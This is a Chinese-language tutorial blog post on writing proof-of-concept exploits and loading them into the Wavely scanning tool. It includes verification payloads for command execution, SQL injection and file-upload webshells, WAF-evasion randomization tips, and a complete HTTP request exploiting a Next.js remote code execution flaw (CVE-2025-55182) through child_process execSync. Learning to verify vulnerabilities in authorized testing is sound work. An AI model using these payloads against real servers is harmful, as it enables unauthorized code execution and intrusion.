最近面试有时候会被问到是否编写过poc,由于我真正手写的经验其实有点不足所以第一次被问到时候是有点懵逼的,所以有了这篇poc总结(当然啦,这是我回过头又复习了许多篇有关poc的文章并且结合了我自己常用的工具再输出的文章)
编写POC之Wavely的使用
- 一、POC 基础认知:什么是POC,为什么要写POC
- 二、零基础编写:通用型POC 完整编写体系
- 2.1 编写前三大前置准备(必做)
- 2.2 标准化编写四步流程(适配所有漏洞)
- 2.3 POC编写的通用核心逻辑
- 2.4 编写后测试与维护
- 2.5 通用Payload编写规范(按漏洞类型)
- 代码执行
- 命令执行
- SQL注入
- 文件上传(自删除测试文件,保证无害性)
- 三、Wavely工具简介与下载
- 3.1 Wavely工具介绍
- 3.2 Wavely 安装+激活 完整无坑步骤
- 步骤1:下载官方正版安装包
- 步骤2:激活Wavely(必做,无激活无法使用核心功能)
- 3.3 基础使用:导入POC
- 3.3.1 将包含 POC 的文件夹直接拖拽至主窗口,即可批量导入
- 3.3.2 添加 POC
- 3.3.3 编辑 POC
- 3.3.4 抓包工具
- 3.3.5 全局请求头
- 四、漏洞基础:CVE-2025-55182 Next.js RCE 为例
- 4.1 漏洞简介
- 4.1.1 漏洞核心参数
- 4.1.2 漏洞危害
- 4.1.3 POC
- 4.2 利用Wavely编写漏洞POC
- 4.2.1 添加模板
- 4.2.2 添加字段
- 4.2.3 poc内容
- 4.2.4 匹配
- 4.2.5 扫描
- 五、合规声明
一、POC 基础认知:什么是POC,为什么要写POC
POC(Proof of Concept,概念验证),是渗透测试领域验证目标系统是否存在指定漏洞的核心可执行请求/脚本,也是漏洞挖掘、复现、验证的必备载体。
一份合格的POC,能精准触发漏洞特征、返回明确的漏洞存在证据,无需复杂调试即可快速判定漏洞是否可利用,是安全从业者的核心技能之一。
我以CVE-2025-55182 Next.js 无条件远程代码执行漏洞(RCE)为实战案例,讲讲我自己(我是菜鸟小白求轻喷)编写poc的全流程。
二、零基础编写:通用型POC 完整编写体系
2.1 编写前三大前置准备(必做)
- 吃透漏洞底层原理:明确触发方式、授权要求、必要请求头/参数、数据格式限制;
- 梳理利用链路:定位触发路径、可控参数位置(URL/请求头/请求体等);
- 制定验证标准:确定多维度判定依据(如可预测结果+关键字组合)。
2.2 标准化编写四步流程(适配所有漏洞)
- 构建合法请求骨架:遵循HTTP协议,保留必要字段,精简冗余内容,确保请求可正常解析;
- 嵌入合规Payload:按漏洞类型适配「轻量、无侵入、随机化」验证载荷,优先使用语言原生函数;
- 完善格式与判定逻辑:校验数据格式完整性,结合「可预测变化检测+关键字/特征码」构建多重验证;
- 优化抗拦截与兼容性:全请求随机化(User-Agent、边界符等),分平台补充分专属Payload。
2.3 POC编写的通用核心逻辑
- 准确:核心要求为
精准贴合漏洞原生原理,严格匹配漏洞触发的请求方式、漏洞路径、必填请求头/参数、数据传输格式,无冗余无效内容,直击漏洞触发点,确保POC能稳定、有效触发漏洞特征,是POC可用的根本前提。 - 通用:具备
跨版本、跨环境的适配能力,核心payload不绑定单一目标与环境,兼容漏洞全影响版本、Linux/Windows不同系统部署环境,仅需微调少量参数即可复用,一份POC适配绝大多数同漏洞测试目标,降低复用成本。 - 无害:合规渗透的核心底线,POC仅做
漏洞存在性验证,载荷仅使用whoami、ifconfig、ipconfig、pwd等只读查询类命令,不执行删文件、写后门、反弹shell、提权等高风险操作,不破坏目标系统、不丢失业务数据、不影响正常服务运行,只获取漏洞验证必要信息。 - 随机:对抗防御策略的关键技巧,在POC中加入
随机化特征,如随机User-Agent、随机请求ID标识、随机表单边界符,规避固定请求特征被WAF/防护策略精准拦截,随机化内容不影响漏洞触发逻辑,兼顾可用性与穿透性。
2.4 编写后测试与维护
- 多环境测试:在靶场、正常环境验证,确保无漏报、误报;
- 及时更新:随漏洞修复、防御升级修正Payload与判定逻辑;
- 标准化留存:按漏洞类型分类存储,保留注释与使用说明。
2.5 通用Payload编写规范(按漏洞类型)
代码执行
- 运算验证:
print(随机数*随机数)「匹配乘积」、print(md5(随机字符串))「匹配哈希值」; - 字符串验证:
print(随机字符串+随机字符串)「匹配合并结果」。
命令执行
- Linux:
expr 随机数-随机数「匹配差值」、echo aaaa""bbbb「匹配aaaabbbb」; - Windows:
set /a 随机数-随机数 && echo %result%「匹配差值」。
SQL注入
select md5(随机字符串)「匹配哈希值」、select concat(随机字符串,随机字符串)「匹配合并结果」。
文件上传(自删除测试文件,保证无害性)
- PHP:
<?php echo md5(233);unlink(__FILE__);?>; - ASP:
<% Response.Write("e165421110ba03099a1c0393373c5b43");CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME"))); %>; - ASPX:
<%@Page Language="C#"%><% Response.Write(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));System.IO.File.Delete(Request.PhysicalPath); %>; - JSP:
<% out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>。
参考:程序员柚柚
三、Wavely工具简介与下载
3.1 Wavely工具介绍
Wavely是一款轻量级、高性能、专为渗透测试打造的自定义HTTP请求发送工具,核心优势是无需复杂配置、原生支持HTTP完整报文直接导入、体积小、响应快、无冗余功能,完美适配各类漏洞POC的快速验证。我觉得上手快,界面友好也不用记繁多的语法,所以推荐一下。
3.2 Wavely 安装+激活 完整无坑步骤
步骤1:下载官方正版安装包
唯一正版下载地址:https://github.com/perlh/Wavely/releases
- Windows系统:优先选择
portable便携版,解压即用、无需安装、无环境依赖、无注册表残留,强烈推荐; - Mac系统:根据芯片选择
darwin_amd64(Intel)或darwin_arm64(M1/M2/M3); - 启动方式:解压后双击
Wavely.exe即可打开工具。
步骤2:激活Wavely(必做,无激活无法使用核心功能)
- 首次启动会弹出激活窗口,无激活码仅能查看界面,无法发送请求;
- 激活码获取:通过官方指定渠道获取,
3.2.0+版本激活码与旧版本不兼容,需对应版本; - 激活操作:输入激活码点击
立即激活,提示成功后重启工具即可,9软妹币一年50软妹币及之上激活后永久使用、支持版本更新。
3.3 基础使用:导入POC
注:该处为引用原作者(点击直达)的内容
3.3.1 将包含 POC 的文件夹直接拖拽至主窗口,即可批量导入
3.3.2 添加 POC
3.3.3 编辑 POC
3.3.4 抓包工具
- 编辑模板
- 抓包管理
- 抓包详情
- 请求包重放
3.3.5 全局请求头
- 配置界面
- 详细设置
四、漏洞基础:CVE-2025-55182 Next.js RCE 为例
4.1 漏洞简介
4.1.1 漏洞核心参数
- 漏洞等级:
Critical 致命高危(CVSS 9.8) - 漏洞类型:
远程代码执行(RCE),无条件利用、无需授权、无需登录 - 影响版本:
Next.js 13.4.0 ~ 14.1.0全系列版本 - 漏洞成因:Next.js对服务端组件的请求参数解析存在逻辑缺陷,对用户可控表单数据无过滤,可注入恶意JS代码调用系统命令执行模块
- 触发条件:向目标固定接口发送构造的
POST请求即可触发 - 漏洞路径:
/apps
4.1.2 漏洞危害
成功利用该漏洞可在目标服务器执行任意系统命令,实现查看敏感文件、获取数据库配置、提权接管服务器、植入后门等操作,属于高危摧毁级漏洞,无防御情况下危害拉满。
4.1.3 POC
POST /apps HTTP/2 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Content-Length: 707 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Next-Action: x X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgj X-Nextjs-Request-Id: bafo0gfl Accept-Encoding: gzip, deflate, br ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(ifconfig)').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="1"" $@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--4.2 利用Wavely编写漏洞POC
4.2.1 添加模板
4.2.2 添加字段
- 在左边可视化界面添加可以右边同步生成比较规范的poc
- id:唯一标识字段,相当于主键不可重复,必须要有
- 名称:自行命名(比方我反正写来自己用或者测试的所以就取的我的网名)
- 作者:自行命名(这里是我自己写着玩儿)
- 描述:可以讲讲这是啥洞,一般可能是英文翻译一下就看得懂了
- 参考:这里可以写参考链接
- 分类:可能是什么洞,哪种洞,图中也举例了
- 标签:一般说这是啥组件啊什么的
4.2.3 poc内容
使用Raw请求:
就是直接把poc贴上去模板化建议功能很方便,可以一键替换域名为变量,User-Agent改为随机值扫描特征也会少一点不使用Raw请求:
可以直接这样去编写,右边也是实时更新的
4.2.4 匹配
添加了非常多的匹配规则,可以满足大部分需求了(匹配即匹配返回包中的字符来判断是否成功)各种条件直接可以是and(全部满足)或or(任意符合即可)
4.2.5 扫描
点个保存就有了自己写的可测试poc啦~
五、合规声明
本文所编写的POC及Wavely工具使用教程,仅用于授权范围内的渗透测试、漏洞复现、安全学习,严禁用于未经授权的非法攻击。
未经授权测试他人系统属于违法行为,需承担相应法律责任,遵守法律法规是安全从业者的底线。